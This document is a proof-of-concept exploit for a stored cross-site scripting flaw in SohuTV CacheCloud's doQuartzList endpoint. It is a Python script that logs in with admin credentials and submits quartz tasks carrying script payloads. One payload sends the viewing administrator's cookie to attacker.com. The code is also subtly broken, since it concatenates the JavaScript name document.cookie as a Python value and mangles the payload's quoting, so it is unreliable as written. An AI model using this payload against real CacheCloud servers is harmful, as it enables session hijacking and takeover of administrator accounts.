CVE-2025-15204: SohuTV CacheCloud doQuartzList函数跨站脚本漏洞

// CVE-2025-15204 Stored XSS PoC // Target: SohuTV CacheCloud <= 3.2.0 // Endpoint: /quartz/doQuartzList // Attack Vector: Inject malicious JavaScript in quartz task parameters import requests import json target_url = "http://target-server:8080" login_url = f"{target_url}/login" quartz_url = f"{target_url}/quartz/doQuartzList" # Step 1: Authenticate with high-privilege account session = requests.Session() login_data = { "username": "admin", "password": "admin_password" } login_response = session.post(login_url, data=login_data) # Step 2: Create malicious quartz task with XSS payload xss_payload = '<script>document.location="https://attacker.com/steal?c=' + 'cookie=' + document.cookie + '</script>' malicious_task = { "taskName": xss_payload, "taskDesc": "<img src=x onerror=alert(document.domain)>", "cronExpression": "0 0 * * * ?" } # Step 3: Submit the malicious task via doQuartzList function # The vulnerable parameter is typically passed via POST/GET to the doQuartzList endpoint poc_response = session.post(quartz_url, data=malicious_task) print(f"XSS Payload submitted. Status: {poc_response.status_code}") print(f"Payload: {xss_payload}") print("When admin views quartz list, XSS will be triggered.")